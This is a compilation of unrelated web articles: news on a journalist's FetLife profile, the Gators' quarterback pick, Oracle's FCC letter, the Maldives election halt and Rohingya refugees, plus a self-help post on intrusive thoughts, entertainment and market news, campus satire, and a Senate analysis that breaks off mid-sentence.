-Here's Matt Hickey on FetLife, Looking for "Sluts" in Vegas  This was posted 18 hours ago. FetLife/4eyez  A FetLife user account with multiple profile photos of Matt Hickey, the Seattle-based tech journalist recently accused by multiple women of rape and posing as a female porn recruiter online, put out a call last night for "sluts" in Las Vegas who are into "being naked, drinking booze, and having fun."  According to the profile, the user 4eyez is a screenwriter who's "going to be living in Vegas for the next few months doing some research." The same profile also says the user is "a photographer that specializes in fetish and pin-up style photos."  In addition to profile photos of Hickey, the 4eyez profile contains photos of women Hickey photographed—photos that were available in a portfolio on Hickey's website until he took it down.  4eyez's profile includes multiple photos of Matt Hickey and women he's photographed. 4eyez/FetLife  The profile's biography page describes 4eyez as "into equal rights and respect for all; if you're not then you probably shouldn't be talking to me."  Hickey did not respond to a text message or e-mail asking whether he was the person behind the 4eyez profile. But half an hour after The Stranger e-mailed and texted him about it, 4eyez's post about Las Vegas sluts was taken down.  UPDATE, 12:41 PM: The Stranger just received a text message response from Hickey confirming that he is, indeed, the 4eyez account.  "i was," he wrote. "Just deleted my account. thanks for that. what's the point in outing posts on a personals website anyway? i've made some good friends on there and plan on making more. I travel for work often and it's been a fun tool."  The account still appears to be up, despite Hickey saying he deleted it.  "and i'm not in las vegas," he continued, "to answer your question."  UPDATE, 1:28 PM: Hickey's profile appears to have been deactivated or removed from the site.
-The Most Visually Stunning And Intellectually Captivating Libraries Of The World  “The reading of all good books is like a conversation with the finest minds of past centuries” – Rene Descartes  Libraries have gotten a bad reputation over the years, particularly in popular media. They’re depicted as boring, quiet, stuffy places where people go by obligation to complete school work, or find an abandoned aisle in the upper floors for some…extracurricular activity.  Libraries are, however, one of the most captivating places to visit when traveling. Societies pride themselves on the aggregate whole of their cultural and intellectual knowledge, and their libraries are the storage receptacles for that knowledge, in a medium that we might be losing touch with: books.  Some people are describing tangible, physical books printed on paper as “old and outdated technology”, but I’ll take the smell, look, and feel of a newly minted book over a digital copy on a glass and plastic reader any day.  There’s no getting around it, there are people who simply refuse to give the written word the acclamation it deserves in human history, and actually flaunt the fact that they don’t read (we’ve all come across these deluded individuals on Facebook one time or another).  But for those of use who still value the inherent gold mine that are books, libraries can be amazing places, and it isn’t just about the books that are on the shelves either. To pronounce their collection of knowledge to the outside world, cities, municipalities, universities, and even countries as a whole implement marvelous architecture and design into the building of their libraries, to appropriately suit the wealth of knowledge that they hold.  Here are a few captivating libraries of the world.  The Royal Portugese Reading Library, In Rio de Janeiro, Brazil.  Melk Monastery Library, Melk, Austria  Internet entrepreneur Jay Walker’s Private Library, complete with a Sputnik 1 satellite, and a chandelier from a James Bond movie.  Central Library, Seattle, Washington, USA.  For more images, check out a 65 page SlideShare presentation HERE.  And for those of you who wish libraries were decorated and adorned with more than renaissance style art and old books, here’s a video of Alison Brie doing some espionage at her college bibliotheca.  [jwplayer config=”1″ file=”http://www.youtube.com/watch?v=FMXnSFdiQYY&feature=player_embedded#at=25″ file.hd=” http://www.youtube.com/embed/FMXnSFdiQYY?hd=1″ image=” “]
-Intrusive thoughts are involuntary and unpleasant thoughts, images, or ideas that pop into our mind.  They are a common symptom in those with anxiety, depression, OCD, and PTSD; however, the truth is most people experience intrusive thoughts from time to time.  Common intrusive thoughts are usually associated with aggression, impulsive urges, and sexual fantasies. And although intrusive thoughts are rarely acted upon, they are often considered “inappropriate” by the person thinking the thoughts.  As a result, many intrusive thoughts can lead to strong feelings of guilt and shame, even when the person never physically did anything wrong. Fortunately, there are ways we can accept these thoughts without letting them have too much influence on our mental health.  Some intrusive thoughts you may have are:  Thoughts or impulses to harm or kill ourselves.  Thoughts or impulses to harm or kill a person, small child, or animal.  Thoughts or impulses to shout out or verbally abuse someone by saying something rude, inappropriate, nasty, or violent.  Thoughts or impulses to do something very risky or dangerous.  Thoughts or impulses regarding inappropriate sexual behavior.  Thoughts or impulses to do something we find morally wrong.  There are many different examples of intrusive thoughts, but these are some of the thoughts most commonly associated with the term. For the remainder of this post, I’m going to share 3 steps we can follow to let go of these types of thoughts and limit the power they have over us.  The first step toward letting go of our thoughts is by accepting them. It is pointless and unhealthy to pretend that we don’t have intrusive or negative thoughts every now and then. And by trying to run away from these thoughts we are only deluding ourselves.  In fact, we invest more energy in these thoughts when we try to avoid and suppress them, rather than just acknowledging that they are there. And by running away from intrusive thoughts, we actually give them more power over our well-being.  The purpose of thinking is for our minds to produce new and better ways to respond to our environment. Some of this thinking is conscious, but a lot of it is unconscious. Our brains are constantly working “behind the scenes” to think of new and better ways to behave.  Sometimes, as a byproduct of this creativity, our brains think of some really bizarre and inappropriate ideas – intrusive thoughts. Thoughts that surprise us and make us ask ourselves, “Did I really just think that?” because they seem so out-of-character.  The answer is, “Yes, you really did just think that, and that’s okay.” Intrusive thoughts can often be a side effect of a healthy mind. And just because you have intrusive thoughts from time to time doesn’t mean you have lost your sanity. It means your brain is being active and creative – although maybe sometimes a little too creative.  Remember, just because you accept the thought doesn’t mean you need to act on it.  As explained above, intrusive thoughts are a natural occurrence. Therefore we shouldn’t be too hard on ourselves for thinking bizarre and spontaneous things once and awhile.  It’s common for intrusive thoughts to be followed by feelings of guilt and shame, but try to understand that there is nothing to feel guilty over. After you accept your thoughts, try to watch them in a non-judgmental awareness. Don’t necessarily react to them or judge them as “good” or “bad.” Just sit back and passively watch them as if you were watching a movie.  This perspective will help you disengage from the thoughts both physically and emotionally. You will be less likely to act on them, and you will be less likely to judge yourself negatively. The key is to just “watch your thoughts” from an objective and depersonalized point-of-view – almost as if a scientist was observing a specimen under a microscope.  Step 3: Ride out your thoughts until they subside  If you watch your thoughts long enough in a non-judgmental state of awareness, you’ll notice that they eventually “ride themselves out” without much effort.  This is because our thoughts are always changing. Our mind is always going in new directions. So if we can be patient and wait long enough, intrusive thoughts will often go away all on their own.  In mindfulness-based cognitive therapy, there is a technique known as urge surfing that operates on this same principle. The main idea is that our thoughts and emotions are impermanent – they are in a constant state of flux. Therefore, even negative thoughts and emotions will eventually subside when we allow them too.  Through urge surfing we can remain non-reactive to our intrusive thoughts until they eventually become less intense and disappear. It’s analogous toward “riding out” a wave in the ocean. If we can remain balanced within the ebbs and flows, we can more easily navigate safely through the waves. In the same way, if we can remain patient and calm in the midst of intrusive thoughts, we can better overcome them.  It’s not always easy to disengage from intrusive thoughts, but with practice we can learn how to more easily let go of them. Once we learn how to do this, it doesn’t mean we won’t ever have intrusive thoughts anymore, but they will at least have a lot less influence over our mental well-being.  Stay updated on new articles and resources in psychology and self improvement:
-GAINESVILLE, Fla. -- The secret is out.  And like Gators head coach Jim McElwain said earlier in the week, the Gators will start a quarterback in the season opener Sept. 3 against UMass.  McElwain announced Thursday afternoon that redshirt sophomore Luke Del Rio is that guy. Del Rio and fifth-year senior transfer Austin Appleby opened preseason camp competing for the job.  "Luke is going to work as the starter the rest of camp and start in the season opener barring any unforeseen development,'' McElwain said. "Our other quarterbacks remain in the plans and are ready to move forward and help the Gators any way they can."  Del Rio emerged as the front-runner for the job in the spring when he went 10-for-11 for 176 yards and two touchdowns in the Orange & Blue Debut. A fifth-year senior transfer from Purdue, Appleby joined the Gators in January but had significant ground to make up on Del Rio, who sat out a season ago after transferring from Oregon State.  True freshmen Feleipe Franks and Kyle Trask arrived at the same time as Appleby and continue to factor into the mix during preseason camp. However, Del Rio's grasp of the offense and experience in the program gave him a clear advantage.  "He's about business,'' junior offensive lineman David Sharpe said at media day. "He comes in and works and tries to have fun with it. He just has those leadership qualities that guys respect."  The 6-foot-1, 213-pound Del Rio began his college career at Alabama as a walk-on in 2013 after graduating from Valor Christian (Colo.) High, where he shared the backfield with Stanford running back and Heisman hopeful Christian McCaffrey as a senior. McElwain, then coach at Colorado State, offered Del Rio his first scholarship.  After a season at Alabama, where he was tutored by Gators offensive coordinator Doug Nussmeier , Del Rio left for Oregon State. He played in three games for the Beavers in 2014, completing 8 of 18 passes for 141 yards.  Following a coaching change, Del Rio transferred to Florida in the summer of 2015 and served as a scout-team quarterback and veteran influence in his position group. The son Oakland Raiders head coach Jack Del Rio, Luke has been around the game his entire life.  "It's definitely something I've looked forward to,'' Del Rio said last week of the opportunity to start at Florida. "Everybody is more comfortable in the offense. People say that a lot, but it really does matter. Summer workouts we really harped on the passing game."  "It feels like a totally different team, to be honest."  Del Rio, who was placed on scholarship recently, passed for 2,275 yards, 28 touchdowns and just four interceptions as a high school senior. He played previously at Episcopal High in Jacksonville when his father was head coach of the Jaguars.  Del Rio will try to stabilize a position that has been inconsistent for the Gators in recent years, marked by the transfers of six players who started at quarterback since 2011.
-In a bizarre, fawning letter, Oracle has given America's broadband watchdog, the FCC, the equivalent of a telco reach-around.  The letter [PDF] from Oracle co-CEO Safra Catz's office, and signed by senior VP Kenneth Glueck, appears to have been written solely to praise FCC chairman Ajit Pai and his recent actions: a situation made all the more bizarre by the fact that Oracle has nothing to do with the decisions it praises.  "We are optimistic that the FCC under your leadership will take a different approach and are encouraged by the actions you have already taken to date," the March 13 letter says, leaning forward for a kiss. "We look forward to working with you to reset America's technology policy in a new pro-growth, pro-jobs and pro-American leadership direction."  In particular, it congratulates Pai for killing off new privacy rules on ISPs that were due to take effect earlier this month, and for shutting down the effort to force cable companies to open up cable boxes to third parties. It also sides fiercely with Pai in criticizing net neutrality rules, in particular the decision to designate ISPs as so-called Title II carriers.  Quite why Oracle has decided to side so heavily with the ISP industry when it has virtually nothing to do with its business is something of a head-scratcher. And the vehemence of the argument makes it that much weirder.  On the effort to open up cable boxes, for example, it argues: "Adopting a technology mandate to force 'competitive' set-top boxes in 2017 feels a lot like mandating automakers to install 8-track cassette players in 2017."  Except it doesn't. Not by anyone. And why does Oracle care about cable boxes anyway?  Wheels on fire  The answer may come in the fact that the letter is also unnecessarily critical of Pai's predecessor, Tom Wheeler.  "The FCC under Chairman Wheeler routinely picked winners and losers in the complex and converging network ecosystem," it spits, later noting: "The Wheeler FCC's characterization of ISPs as gatekeepers was entirely outdated, especially when more than two-thirds of global computing power is mobile today."  Then later: "The Wheeler FCC took the extraordinary step of subjecting a flourishing 21st century network technology to a sprawling regulatory framework designed for the old telephone monopoly – all in service of imposing a maximalist version of 'net neutrality'."  Not that the letter doesn't make some fair points – and ones that we at The Register have consistently made when it comes to some of the decisions made by the FCC under Wheeler's reign: its use of arcane legislation to reach a desired goal; its clear bias for the viewpoints of companies like Google; its recognition that the regulatory structure as it currently stands is not designed for the modern, user-centric technological world.  But it is highly unusual for a large corporation to write such a fervent letter, praising one individual to high heaven and condemning their predecessor, especially when the topic has little or nothing to do with their business.  What next? Apple taking out an ad to complain about gun rights? Intel forcefully pushing its views on healthcare reform?  All about Trump  The only logical explanation is that the letter is another indicator of the weird new praise-lobbying that is becoming increasingly common in the early days of Trumpism.  Oracle co-CEO Safra Catz sits on President Trump's tech team and is serving as an advisor to him (something that a lot of Oracle employees are not happy about). It seems that one easy way of buying currency with the president these days is to wildly praise whatever he agrees with and fiercely condemn anything he doesn't.  Why does Catz need some Trump currency? Probably something to do with being sued by the US government over discrimination; a situation that puts some very valuable contracts at risk. Or maybe the fact that it is laying off employees (and lying about it), when the one thing guaranteed to give Trump a hard-on is a company saying it will hire more Americans.  Either way, the fact that the chair of the FCC is being pulled into this circus does not bode well for him or telecom policy. ®
-Back in 1980, just as America was making its political turn to the right, Milton Friedman lent his voice to the change with the famous TV series “Free to Choose.” In episode after episode, the genial economist identified laissez-faire economics with personal choice and empowerment, an upbeat vision that would be echoed and amplified by Ronald Reagan .  But that was then. Today, “free to choose” has become “free to die.”  I’m referring, as you might guess, to what happened during Monday’s G.O.P. presidential debate . CNN’s Wolf Blitzer asked Representative Ron Paul what we should do if a 30-year-old man who chose not to purchase health insurance suddenly found himself in need of six months of intensive care. Mr. Paul replied, “That’s what freedom is all about — taking your own risks.” Mr. Blitzer pressed him again, asking whether “society should just let him die.”  And the crowd erupted with cheers and shouts of “Yeah!”  The incident highlighted something that I don’t think most political commentators have fully absorbed: at this point, American politics is fundamentally about different moral visions.  Now, there are two things you should know about the Blitzer-Paul exchange. The first is that after the crowd weighed in, Mr. Paul basically tried to evade the question, asserting that warm-hearted doctors and charitable individuals would always make sure that people received the care they needed — or at least they would if they hadn’t been corrupted by the welfare state. Sorry, but that’s a fantasy. People who can’t afford essential medical care often fail to get it, and always have — and sometimes they die as a result.  Advertisement Continue reading the main story
-Watching Stranger Things, it was pretty obvious big things were in store for Millie Bobby Brown. But no one could have guessed it would be this big. Like, hundreds-of-stories big.  The actress just closed a deal to star in Godzilla: King of the Monsters, the sequel to 2014's Godzilla reboot, which was directed by Rogue One’s Gareth Edwards. Edwards was originally going to helm this film too, but dropped out last year. Now Michael Dougherty (Krampus) is helming the film, which will tie into this year’s Kong: Skull Island leading up to Kong Vs. Godzilla.  Advertisement  There’s no word who Brown will be playing, but considering she’s the first cast member revealed, chances are she’s one of the leads. She’s currently reprising her role as Eleven in the second season of Stranger Things, which will hit Netflix later this year.  Godzilla: King of the Monsters opens March 22, 2019.
-Chinese smartphone brands expanded their share of the Indian smartphone market in the June quarter (Q2) of 2017, continuing a trend seen over the past few quarters, shows the latest Quarterly Mobile Phone Tracker report by research firm IDC (International Data Corporation). This means brands including Xiaomi, Vivo and Oppo now have a combined market share of as high as 54%, up from 51% in Q1 2017.  Samsung of Korea continues to be India's number one smartphone brand, but its market share has fallen from 28% in Q1 2017 to 24% in Q2 2017, the report suggests.  Xiaomi continued its good run in Q2 with a quarter on quarter growth of 25%. It occupies the second position with a market share of 17%. In Q1 2017, it held 14% of the market share. Xiaomi’s success can be attributed to the company’s expansion in the offline market through Mi Homes, Mi authorised stores and big format retail stores. The other factor contributing to its good run is the success of Redmi Note 4. The company has sold over 5 million units since its launch in January 2017. With more than 2 million shipments in Q2 2017 alone, it has become the highest shipped smartphone in India in a single quarter.  Vivo, which is stronger in offline market, holds the third position with a market share of 13%. It registered an impressive quarter on quarter growth of 26% in Q2 2017. In Q1 2017, its market share was 10.5%. According to IDC, aggressive investments on marketing activities and in-shop promotions contributed to the company’s growth.  Oppo and Lenovo are the fourth and fifth biggest smartphone vendors respectively, even though their market share has declined over the preceding quarter.  Oppo, like Vivo, is big on promotion and marketing. It controls 8% of the market in Q2, even as its shipments declined by 13%. It held 9.3% of the market share in Q1 2017.  Lenovo’s poor run continued. Its shipments declined by 25% in the last quarter and the market share shrank to 7% in Q2 from 9.5% in Q1. Surprisingly, smartphones sold under Lenovo's Motorola brand fared better than Lenovo branded smartphones, posting a quarter on quarter growth of 17%.  Indian companies are eyeing a comeback  Indian companies after three quarters of continuous decline have finally made some headway. They registered a quarter on quarter growth of 18% in Q2 2017, but their overall market share is still only 15%. “Indian vendors are putting all their efforts and second half of year will be crucial, either it will see a revival of Indian vendors or emergence of new dominance in the sub-$150 (Rs 10,000) segment from China-based vendors," says Upasana Joshi, Senior Analyst, IDC India.  Impact of GST  The IDC report also provides some data on the impact of GST (Goods and Services Tax) on smartphone market. A GST rate of 12% was implemented on smartphones from July, which affected shipments in the second quarter as the focus was on clearing out the existing inventory before GST kicked in. A total of 28 million smartphones were shipped in Q2 2017. This marks a modest quarter on quarter growth of 3.7% and a year on year growth of 1.6%.  However, phone makers' decision to absorb the increased price due to GST helped to stabilise the pricing and the impact on sales.
-It was the loss of his father nearly a year ago when he wandered away from his home in Coquitlam that led Sam Noh to team up with two other volunteers to create Silver Alert - a social media alert system to warn when people with dementia go missing. Sam's father Shin Ik Noh, 64 at the time of his disappearance last Sept. 18, suffered from Alzheimer's.  When news got out of his disappearance, people reported seeing the retired pastor but the reports came too late to help search efforts.  To compound the tragedy of his disappearance, Shin Noh has never been found. Sam continues to search for him, knowing that his search is now not for his father but for remains that may bring closure for his family.  His father's disappearance led Sam Noh to team up with Shawn Bouchard - who had a relative who was found dead of hypothermia after walking away from her care home - and search and rescue volunteer Michael Coyle to launch a silver version of the well-known Amber Alert for kids. The three are hoping their volunteer initiative will prompt the government to launch a Silver Alert system, similar to ones that have been adopted by 35 U.S. states and by New York City.  "The fact is, there isn't a very good alerting system out there," said Coyle, a search manager with Coquitlam Search and Rescue. "The RCMP, who we deal with a lot, and some of the other police forces are kind of confined to posting it on their website or Twitter and sometimes the media picks up on it."  By the time the news gets out, it can be too late, said Coyle.  "Mr. Noh went missing on the 18th of September - people saw him the day he went missing but by the time they reported their tips it was three or fours days later and the tips weren't good anymore."  Silver Alert is a website with Twitter and Facebook accounts and an email alert option. The site filters news releases and alerts issued by police and if the missing person fits the criteria for Silver Alert - that is, suffers dementia or some other cognitive impairment including autism - it will be posted on the site, BCSilverAlert.ca or through @BCSilverAlert on Twitter and on Facebook.  "We know citizens want to help out and this is just one tool we have developed," Sam Noh said of the Silver Alert website and social media initiative. "We still need the government to create an official Silver Alert program." Bouchard, who is one of the three volunteer founders of Silver Alert, works at Vancouver social media company HootSuite. While he's not working on Silver Alert as part of his day job, it was his experience with social media that led him to believe it could be used to improve the reporting of sightings when people go missing.  Bouchard's connection comes from his wife's distant cousin - who the family called Aunt Joan - who was living at Sunrise Senior Living in North Vancouver at the time of her death.
-The Maldives has been plunged into a fresh constitutional crisis after police halted a presidential election due to be held today and surrounded the offices used by officials for the poll.  On what was described as a “dark day for democracy”, police officers claimed that they would not allow the vote to proceed as it would be in breach of regulations issued by the country’s highest court.  But as protesters took to the streets in the capital of Malé, the Elections Commissioner Fuwad Thowfeek told reporters that the police, who mutinied against former president Mohamed Nasheed last year and forced his resignation, had “overstepped their authority”. He added: “We cannot proceed with the election if police are obstructing it.”  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  The halting of the vote is the latest drama since Mr Nasheed, who won the Maldives’ first free elections in 2008, was ousted amid violent protests in February 2012. He and his supporters said the “coup” was organised by the former dictator Maumoon Abdul Gayoom.  Under international pressure, the next government, led by President Mohammed Waheed Hassan, agreed to organise elections and, in a poll held on 7 September, Mr Nasheed secured the highest number of votes.  He then appeared to be well placed ahead of a run-off scheduled for 28 September. However, this was halted by the country’s Supreme Court after claims by two other candidates that there had been irregularities, despite election observers saying that the voting had been fair. To resolve the crisis, new polls were to take place today.  Today, a spokesman for Mr Nasheed claimed the country was now in a “confusing” situation. “They [the police] don’t want an election,” he said. In Malé, there were calls for the chief of police, Abdulla Nawaz, to be removed. But Mr Nawaz told a press conference that his officers had acted to stop the election because only one candidate had signed a voter register list that had to be approved and signed by all parties.  While Mr Nasheed’s Maldivian Democratic Party (MDP) signed the list, two of his rivals did not, claiming they had not had sufficient time to verify the data. Those two parties, the Jumhooree Party (JP) and the Progressive Party of Maldives (PPM) did not comment on yesterday’s dramatic developments.  The PPM’s candidate is Abdulla Yameen, the half-brother of Mr Gayoom. Meanwhile, the JP is headed by Gasim Ibrahim, a tourism and media tycoon who once served as Mr Gayoom’s finance minister.  Many observers believe the former dictator is influencing events from the sidelines – a claim he has denied – and institutions, including the judiciary, police and public services, are perceived as dominated by those loyal to Mr Gayoom.  Mark Lynas was the climate change adviser to former president Mr Nasheed. He said: “President Nasheed represented a real step toward modernity and progress in the Maldives. His removal and the events of today mean it’s slipping back into a dictatorship.  “The supreme court is stacked with appointees from the Gayoom dictatorship era. They are hand in hand with the police. The police force holds the real power in the Maldives – much stronger than the army.”  Farah Faizal, is the former Maldives high commissioner to the UK and a representative of the MDP. She said: “The current regime doesn’t want an election because they know Nasheed will have a majority win.  “The international community must issue a travel ban on the regime, and reimpose economic sanctions, as they did on Gayoom in 2004. Unless measures are imposed on the current regime, there’s no chance of a free and fair election.”  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-Noor Kajol, 10, comes from Rakhine State, Myanmar, which she fled in recent weeks.  My name is Noor Kajol, and I am 10 years old. I was very happy in my old village because I was studying at the madrassa - I liked learning about the holy Quran, and I wanted to memorise all of it. I lived with my family; there were seven of us in total. The house was not very big, but I liked living there.  We had to flee our homes because the military started shooting us. I was inside the house with my father when they shot him through the window.  The bullet hit him in the head, he fell on the floor, and a lot of blood was coming out of his head.  I was really scared, and I was crying a lot. We ran away, leaving my father in the house. The military burned the house down, even though my father was still inside.  We had to run away to the forest and hide in the trees. We then walked for three days to get to Bangladesh. It was difficult for me because I was hungry and I missed my father a lot.  Other people helped us cross the border for free, which was very nice of them. We travelled in a boat with an engine, but I did not enjoy the boat ride because I still missed my father. He was a woodcutter, and everyone liked him. He was a good-natured man, and he loved me a lot.  I am very unhappy in Bangladesh because I miss my father so much. It is also very dirty here; there are no toilets or bathrooms.  I would like the world to help us get our own country back or offer us another country that we could live in.  *As told to Katie Arnold in Kutupalong new shelter camp near Cox's Bazar, Bangladesh.  *This interview has been edited for clarity.  The plight of Myanmar's Rohingya  Nearly 400,000 Rohingya, mainly women and children, have fled to Bangladesh in the recent weeks as a result of indiscriminate violence against civilian populations carried out by the Myanmar army.  The UN and other human rights organisations have warned that the mass exodus following killings, rapes, and burned villages are signs of "ethnic cleansing", pleading for the international community to pressure Aung San Suu Kyi and her government to end the violence.  "The situation seems a textbook example of ethnic cleansing," UN human rights chief Zeid Ra'ad al-Hussein said on Monday, September 11.  Read more to find out who Myanmar's Rohingya are
-I’ll skip the dramatic and lengthy intro and just get right into it; is Cam Newton heading for the dreaded Sophomore Slump?  Three games into the season and Newton’s numbers have owners everywhere in a fit. In fact, through 12 quarters, Newton is  53-83 for 798 yards  2 TDs and 5 INT through the air  24 rushes, 84 yards and 2 TDs on the ground.  Let’s compare those numbers to his first three games a season ago where he was:  70-117, 1,012 yards  4 TDs and 4 INTs.  25 rushes, 98 yards and 2 TDs.  Now, just because his passing numbers don’t match up with last year shouldn’t be a concern. Don’t forget he was shattering records through three games a year ago, something you cannot expect any player to maintain year in and year out. Last season was also a pass-happy season, and ended up being one for the record books.  Also, it’s worth noting that last year, in his first three games, Newton faced Arizona (19th in total defense in 2011), Green Bay (last in total defense in 2011), and Jacksonville (8th in total defense in 2011, also his weakest game in his first three).  However, through the first three weeks Newton has faced Tampa Bay, New Orleans and the Giants, who rank 29-31st in total defense, in that order. So the stats say that Newton’s numbers should be better, but why aren’t they?  Carolina’s run game has been a non-factor thus far, averaging 96.3 ypg 19th in the NFL)  Carolina’s defense has continued to struggle, currently ranking them the worst overall defense statistically through three weeks. That puts Carolina behind early and often, making it obvious that Newton will throw.  Carolina has averaged 24 minutes of possession a game this season. That is less than 50% of games, therefore with less possession obviously comes less chances for offense plays, scores, and points.  Carolina’s pass offense currently ranks 11th in the NFL wit 267.3 ypg only 14 ypg behind Tom Brady and the Patriots.  In Conclusion,  Newton will not suffer the dreaded sophomore slump. He is far too talented, athletic, and a competitor to let that happen. Once his run-game actually becomes relevant, some of the pressure will be alleviated from Newton. In addition, his numbers this year haven’t been as terrible as everyone thinks (he currently ranks 8th overall and 5th among QBs in standard scoring leagues).  Advertisements
-Spoon continued their preposterously enjoyable run of very good records this year with the release of Hot Thoughts—one of 2017’s best albums so far—and today they’ve shared a video to accompany moody album cut “I Ain’t the One”. The somber blue, black and white tones of the video, which was directed by the duo of Ian Forsyth and Jane Pollard and features the Austin band performing the song in a subway station, jibe quite well with the star-crossed love vibe of “I Ain’t The One”, making for a very fitting visual. Watch it above.  In related news, Spoon’s announced a run of West Coast shows with White Reaper today, adding to their already packed schedule over the next three months, which sees the band hitting Europe in-between extensive North American dates. In addition to the busy tour itinerary, Spoon will also be reissuing their 2007 classic Ga Ga Ga Ga Ga via Merge Records on October 20th. To see Spoon frontman Britt Daniels’ thoughts on Ga Ga Ga Ga Ga (and the rest of Spoon’s records) check out our discussion on the band’s entire discography with the singer.  Spoon 2017-2018 Tour dates:  10/05 – Denver, CO @ Red Rocks Amphitheater !  10/07 – Austin, TX @ Austin City Limits Music Festival  10/10 – San Antonio, TX @ Aztec Theater #  10/12 – Dallas, TX @ House of Blues #  10/13 – Austin, TX @ Stubb’s  10/14 – Austin, TX @ Austin City Limits Music Festival  10/15 – Houston, TX @ House of Blues #  10/17 – New Orleans, LA @ House of Blues #  10/18 – Memphis, TN @ Minglewood Hall #  10/20 – Columbia, SC @ Music Farm #  10/21 – Jacksonville, FL @ Mavericks #  10/22 – Charlotte, NC @ The Fillmore  11/02 – Brussels, BE @ Orangerie at Botanique  11/03 – Den Haag, NL @ Crossing Border Festival  11/03-04 – Wessenhauser, DE @ Rolling Stone Weekender  11/06 – Brighton, UK @ Concorde 2  11/07 – Liverpool, UK @ Invisible Wind Factory  11/09 – Cambridge, UK @ The Junction  11/10 – Amsterdam, NL @ Paradiso  11/11 – Basel, CH @ Kaserne  11/12 – Milan, IT @ Santeria Social Club  11/14 – Barcelona, ES @ Sala Apolo  11/15 – Madrid, ES @ La Riviera  11/16 – Porto, PT @ Porto Coliseum  11/17 – Lisbon, PT @ Coliseu dos Recreios  11/28 – Brooklyn, NY @ Brooklyn Steel  11/29 – Brooklyn, NY @ Brooklyn Steel  12/01 – Poughkeepsie, NY @ The Chance  12/03 – Stroudsburg, PA @ Sherman Theater  12/05 – Clifton Park, NY @ Upstate Concert Hall  12/06 – Burlington, VT @ Higher Ground  12/30 – Washington, DC @ 9:30 Club  12/31 – Washington, DC @ 9:30 Club  1/12 – Seattle, WA – Showbox &  1/13 – Eugene, OR – McDonald Theater &  1/15 – Napa, CA – Jam Cellars &  1/17 – San Francisco, CA – The Masonic &  1/18 – Santa Barbara, CA – Arlington Theater &  1/20 – Las Vegas, NV – Cosmopolitan &  ! = w/ The Shins  # = w/ Mondo Cozmo  & = w/ White Reaper  Revisit the band’s recent performance of “Can I Sit Next To You” on Colbert below:
-House Committee Slashes International Family Planning The GOP Controlled House Appropriations Committee expanded the war on women globally yesterday. The committee slashed international family planning funding by $149 million, or 25%, reinstated the Global Gag Rule, and banned all US funding to the United Nations Population Fund (UNFPA).  Nita Lowey (D-NY), Ranking Democratin the Committee, summed up the damage of the Committee's actions:  The counterproductive, harmful, and unnecessarily divisive cuts and policy riders...on international family planning programs will leave millions of women without access to critical and often life-saving health services, and will result in 1.4 million more abortions next year. It is unconscionable that the majority insists on including these provisions, which run counter to our shared goals of saving mothers' and children's lives, and reducing unwanted pregnancies and abortions.  The Committee rejected on largely party-line votes three pro-family planning and reproductive health amendments that were offered by Lowey, Rosa DeLaura (D-CA), and Barbara Lee (D-CA), in an attempt to reverse the bill's attacks on women's health programs.  The Senate Appropriations Committee, which is scheduled to take up its version of a FY 2013 State Department-Foreign Operations bill next week, is expected to pass a bill that includes significant increases to international family funding, a permanent repeal of the Global Gag Rule, and a U.S. contribution to UNFPA.  The Guttmacher Institute analysis indicates that the House cuts to international family planning funding would result in 7.7 million fewer women and couples receiving contraceptive services and supplies, 2.2 million more unintended pregnancies, and over 1 million more abortions.  Media Resources: PAI Analysis; Friends of UNFPA Press Release 5/17/2012  © Feminist Majority Foundation, publisher of Ms. magazine If you liked this story, consider making a tax-deductible donation to support Ms. magazine .
-BOONE, NC – With the second Ice Age finally upon us, Chancellor Everts has yet to send an email cancelling tomorrow’s class and friends of the Chancellor have revealed that she has no plans to do so either.  “It’s just a bit chilly,” Everts told her friends in regards to the apocalyptic weather conditions, “And all the streets and sidewalks are salted so it shouldn’t be a problem! Remember, they wanted to go to school in the mountains!”  With the temperature hovering at around -56 degrees fahrenheit and sheets of ice and snow raining down, most students have elected to skip Tuesday’s class regardless of whether there is an email sent excusing them or not. The rest of the students, predominantly on campus residents, decided to brave the weather and go to class anyway.  “I lost my friend Brian along the way!” Local freshman and on campus resident Peter Evans yelled, “But my teacher grades on attendance and I really need that A! If I don’t make it, tell my mom I’m having a really good time!”  The winter weather has been even harder for off campus students. A police report recently confirmed that at least 35% of the residents of the Cottages of Boone perished when the roofs began caving in 32 seconds after the day of reckoning began. Those numbers are expected to rise considerably due to the survivors having to manage with no running water, electricity, or heat since it all shut off 4 seconds into the storm.  Amongst all the commotion and rising death toll, Appalcart has continued to be fully operational and running on time. “I literally cannot drive any worse,” said local Appalcart driver Victor Samuels, “And now there are no cars on the road so I can safely drive in both lanes without fear of someone getting in my way.” He did, however, express some concern for a few of the students who “dropped dead” before they could get on the bus and that the few that made it on the bus were shivering and turning blue, but as Samuels puts it, “that’s above my pay grade.”  As more reports are coming in, it appears the students that didn’t attend class or live in the cottages have mostly survived. “Yeah, I didn’t really need to put my life at risk for my Tuesday classes,” said local Sophomore on campus resident Jeremy McMichaels, “but I might have to on Wednesday. I think I have a test.”
-The ‘Last Hurrah Caucus’ Now Has The Power To Kill Trump’s Agenda In The Senate Of course, that doesn’t mean they’ll use it. Filed under Congress  Republicans still have a majority of seats in the U.S. Senate. But they may no longer have a real governing majority on every issue.  Arizona Sen. Jeff Flake announced Tuesday that he will not seek re-election in 2018 — an acknowledgement that his more moderate stances on issues like immigration and his sharp criticism of President Trump had made him a heavy underdog in the state’s Republican primary. Freed from the need to satisfy a conservative base, Flake can now vote and act however he wants for the next 14 months.  And he’s not the only Republican with this kind of freedom. Tennessee’s Bob Corker is retiring rather than seeking a third term next year. Arizona’s other senator, John McCain, was recently diagnosed with brain cancer and seems unlikely to run for reelection when he’s up again in 2022.  These three men are now effectively free-agents — electorally unbound from GOP voters and interest groups — at a time when Republicans have only a narrow 52-48 majority in the Senate. If any of the three becomes more likely to break with the party, passing legislation gets that much harder for Trump and the GOP leadership. And any bill on which all three join with Democrats is dead.  Corker, Flake and McCain, moreover, are Republicans more in the mold of George W. Bush and Mitt Romney than the president. All three seem to really hate Trump.  Or, as Susan Hennessy of the legal blog Lawfare put it after Flake’s announcement: “Corker, Flake, McCain. It would seem that, for most intents and purposes, Trump has lost McConnell his majority.”  Here are some of the big issues on which this new Corker-Flake-McCain bloc could cause the party problems. (Note: “Could” is the operative word there — Flake’s announcement makes the math work so that these three senators 